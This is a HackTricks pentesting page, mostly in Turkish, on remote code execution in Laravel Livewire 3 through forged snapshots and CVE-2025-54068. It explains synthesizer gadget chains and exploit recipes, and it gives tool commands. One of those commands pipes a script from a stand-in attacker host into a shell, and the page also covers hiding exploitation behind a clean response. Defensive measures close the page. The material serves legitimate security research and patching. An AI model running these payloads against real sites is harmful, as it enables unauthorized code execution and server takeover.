Laravel Livewire Hydration & Synthesizer Abuse
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Livewire durum makinesinin özeti
Livewire 3 bileşenleri, data, memo ve bir checksum içeren snapshots aracılığıyla durumlarını değiş tokuş eder. /livewire/update’e yapılan her POST, JSON snapshot’ı sunucu tarafında yeniden canlandırır ve kuyruğa alınmış calls/updates’leri yürütür.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Bu nedenle APP_KEY’e sahip olan herhangi biri ($hashKey türetmek için kullanılan) HMAC’i yeniden hesaplayarak rastgele snapshot’lar oluşturabilir.
Karmaşık özellikler, Livewire\Drawer\BaseUtils::isSyntheticTuple() tarafından algılanan sentetik tuple’lar olarak kodlanır; her tuple [value, {"s":"<key>", ...meta}] biçimindedir. Hydration çekirdeği her tuple’ı basitçe HandleComponents::$propertySynthesizers içinde seçilen synth’e devreder ve çocuklar üzerinde özyinelemeli olarak işleme devam eder:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Bu özyinelemeli tasarım, bir saldırgan tuple meta verilerini veya özyineleme sırasında işlenen herhangi bir iç içe tuple’ı kontrol ettiğinde Livewire’ı bir genel nesne-örnekleme motoru haline getirir.
Synthesizers that grant gadget primitives
| Synthesizer | Saldırgan tarafından kontrol edilen davranış |
|---|---|
CollectionSynth (clctn) | Her bir çocuğu yeniden hidrasyon ettikten sonra new $meta['class']($value) örnekler. Array yapıcısına sahip herhangi bir sınıf oluşturulabilir ve her öğe kendi başına sentetik bir tuple olabilir. |
FormObjectSynth (form) | new $meta['class']($component, $path) çağırır, sonra saldırgan kontrolündeki çocuklardan $hydrateChild aracılığıyla her public özelliği atar. İki gevşek türlü parametre (veya varsayılan argümanlar) kabul eden yapıcılar, keyfi public özelliklere ulaşmak için yeterlidir. |
ModelSynth (mdl) | Meta içinde key yoksa return new $class; çalıştırır; böylece saldırgan kontrolündeki herhangi bir sınıfın sıfır argümanla örneklenmesine izin verir. |
Çünkü synth’ler her iç içe elemana $hydrateChild çağrısı yapar, tuple’ları özyinelemeli olarak üst üste koyarak keyfi gadget grafikleri oluşturulabilir.
Forging snapshots when APP_KEY is known
- Meşru bir
/livewire/updateisteğini yakalayın vecomponents[0].snapshot’ı decode edin. - Gadget sınıflarına işaret eden iç içe tuple’lar enjekte edin ve
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)’i yeniden hesaplayın. - Snapshot’ı yeniden encode edin,
_token/memo’yu ellemeyin ve isteği tekrar oynatın.
Minimal bir yürütme kanıtı Guzzle’ın FnStream’ini ve Flysystem’ın ShardedPrefixPublicUrlGenerator’ını kullanır. Bir tuple, yapıcı verisi { "__toString": "phpinfo" } ile FnStream’i örnekler; bir sonraki tuple ise $prefixes olarak [FnStreamInstance] ile ShardedPrefixPublicUrlGenerator’ı örnekler. Flysystem her prefix’i string’e dönüştürdüğünde, PHP saldırgan tarafından sağlanan __toString callable’ını çağırır ve argümansız herhangi bir fonksiyonu çalıştırır.
From function calls to full RCE
Livewire’ın örnekleme ilkeliklerinden yararlanarak, Synacktiv phpggc’nin Laravel/RCE4 zincirini uyarladı; böylece hydration, public Queueable durumu deserializasyonu tetikleyen bir nesneyi başlatır:
- Queueable trait –
Illuminate\Bus\Queueablekullanan herhangi bir obje public$chained’i açığa çıkarır vedispatchNextJobInChain()içindeunserialize(array_shift($this->chained))çalıştırır. - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue), public$chaineddoldurularakCollectionSynth/FormObjectSyntharacılığıyla örneklenir. - phpggc Laravel/RCE4Adapted –
$chained[0]’de saklanan serileştirilmiş blobPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed’i oluşturur.Signed::__invoke()sonundacall_user_func_array($closure, $args)’i çağırır ve böylecesystem($cmd)’i mümkün kılar. - Stealth termination –
[new Laravel\Prompts\Terminal(), 'exit']gibi ikinci birFnStreamcallable’ı vererek, istek gürültülü bir exception yerineexit()ile sona erer ve HTTP cevabını temiz tutar.
Automating snapshot forgery
synacktiv/laravel-crypto-killer artık her şeyi birleştiren bir livewire modu ile gelir:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Aracı yakalanan snapshot’ı ayrıştırır, gadget tuples’ı enjekte eder, checksum’u yeniden hesaplar ve gönderilmeye hazır bir /livewire/update payload yazdırır.
CVE-2025-54068 – RCE APP_KEY olmadan
Satıcı bildirimine göre, sorun Livewire v3 (>= 3.0.0-beta.1 ve < 3.6.3) sürümlerini etkiler ve v3’e özgüdür.
updates bileşen durumuna snapshot checksum doğrulandıktan sonra birleştirilir. Eğer snapshot içindeki bir özellik synthetic tuple ise (veya öyle hale gelirse), Livewire saldırgan kontrollü update değerini hydrate ederken onun meta bilgisini yeniden kullanır:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- Türe (type) belirtilmemiş bir Livewire bileşeninde public bir property bulun (ör.
public $count;). - O özelliği
[]olacak şekilde bir update gönderin. Bir sonraki snapshot artık bunu[[], {"s": "arr"}]olarak saklar.
A minimal type-juggling flow looks like this:
POST /livewire/update
...
"updates": {"count": []}
Sonraki snapshot ise arr synthesizer meta bilgisini tutan bir tuple saklar:
"count": [[], {"s": "arr"}]
- O özellik içinde
[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]gibi tuple’lar gömülü derin bir dizi içeren başka birupdatespayload’u hazırlayın. - Rekürsiyon sırasında
hydrate()her içteki child’ı bağımsız olarak değerlendirir; bu yüzden saldırgan tarafından seçilen synth key/class’lar, dış tuple ve checksum değişmemiş olsa bile dikkate alınır. - Aynı
CollectionSynth/FormObjectSynthprimitive’lerini yeniden kullanarak$chained[0]içinde phpggc payload’u olan bir Queueable gadget örneklendirin. Livewire sahte updates’leri işler,dispatchNextJobInChain()’i tetikler veAPP_KEYbilinmeksizinsystem(<cmd>)’e ulaşır.
Bu yöntemlerin işe yaramasının temel nedenleri:
updatessnapshot checksum’ı tarafından kapsanmıyor.getMetaForPath()attacker’ın önce zayıf tiplendirme yoluyla tuple haline getirdiği property için zaten var olan synth metadata’ya güveniyor.- Rekürsiyon artı zayıf tipleme (weak typing) her iç içe dizinin yeni bir tuple olarak yorumlanmasına izin veriyor; böylece arbitrar synth key’ler ve sınıflar sonunda hydration’a ulaşabiliyor.
Livepyre – end-to-end exploitation
Livepyre hem APP_KEY-less CVE’yi hem de signed-snapshot yolunu otomatikleştirir:
<script src="/livewire/livewire.js?id=HASH">’ı parse ederek dağıtılmış Livewire sürümünün fingerprint’ini alır ve hash’i vuln sürümlere eşler.- Zararsız eylemleri replay ederek ve
components[].snapshot’ı çıkararak baz snapshot’lar toplar. - ya sadece
updatesiçeren bir payload (CVE-2025-54068) ya da phpggc zincirini gömülmüş sahte bir snapshot (bilinen APP_KEY) üretir. - Eğer bir snapshot’ta object-typed parametre bulunmazsa, Livepyre coercible bir property’e ulaşmak için aday parametreleri brute-forcing’e geri döner.
Typical usage:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check yıkıcı olmayan bir probe çalıştırır, -F versiyon kısıtlamasını atlar, -H ve -P özel headers veya proxies ekler, ve --function/--param gadget zinciri tarafından çağrılan php fonksiyonunu özelleştirir.
Savunma önlemleri
- Livewire’ın sabitlenmiş sürümlerine (tedarikçi bültenine göre >= 3.6.4) yükseltin ve CVE-2025-54068 için tedarikçi yamayı uygulayın.
- Livewire bileşenlerindeki zayıf tipli public özelliklerden kaçının; açık scalar tipler özellik değerlerinin array/tuple’a zorlanmasını engeller.
- Sadece gerçekten ihtiyacınız olan synthesizers’ı kaydedin ve kullanıcı kontrollü metadata (
$meta['class']) değerlerini güvensiz kabul edin. - Bir property’sinin JSON türünü değiştiren güncellemeleri (ör. scalar -> array) açıkça izin verilmediği sürece reddedin ve eski tuple’ları yeniden kullanmak yerine synth metadata’sını yeniden türetin.
- Herhangi bir ifşa sonrası
APP_KEY’i derhal değiştirin; çünkü kod tabanı ne kadar yamalansa da offline snapshot sahteciliğini mümkün kılar.
Kaynaklar
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


